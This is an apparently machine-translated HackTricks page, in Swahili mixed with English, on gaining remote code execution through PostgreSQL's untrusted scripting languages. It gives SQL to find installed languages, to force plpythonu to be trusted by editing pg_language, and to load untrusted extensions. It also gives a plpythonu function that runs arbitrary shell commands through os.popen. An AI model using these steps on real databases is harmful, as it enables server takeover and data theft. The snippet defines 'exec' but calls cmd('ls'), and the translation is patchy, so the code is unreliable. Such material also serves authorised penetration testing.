RCE na Lugha za PostgreSQL

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Lugha za PostgreSQL

Hifadhi ya data ya PostgreSQL uliyopata ufikiaji inaweza kuwa na lugha za uandishi wa skripti tofauti zilizowekwa ambazo unaweza kuzitumia ili kutekeleza msimbo wowote.

Unaweza kuzipata zikifanya kazi:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. Hizi ni lugha ambazo ikiwa zimewekwa ni za kuvutia:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (lugha nyingine yoyote ya programu inayotumia toleo lisilo salama)

warning

Ikiwa unapata kwamba lugha ya kuvutia ime wekwa lakini haikubaliki na PostgreSQL (lanpltrusted ni false) unaweza kujaribu ku aminisha kwa kutumia mstari ufuatao ili hakuna vizuizi vitakavyotumika na PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Ili kuangalia ruhusa zako juu ya jedwali pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Ikiwa huoni lugha, unaweza kujaribu kuipakia na (unahitaji kuwa superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Kumbuka kwamba inawezekana kukusanya toleo salama kama "lisilo salama". Angalia hii kwa mfano. Hivyo kila wakati inafaa kujaribu ikiwa unaweza kutekeleza msimbo hata kama unapata tu toleo la kikubali limewekwa.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Angalia ukurasa ufuatao:

PL/pgSQL Password Bruteforce

C

Angalia ukurasa ufuatao:

RCE with PostgreSQL Extensions

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks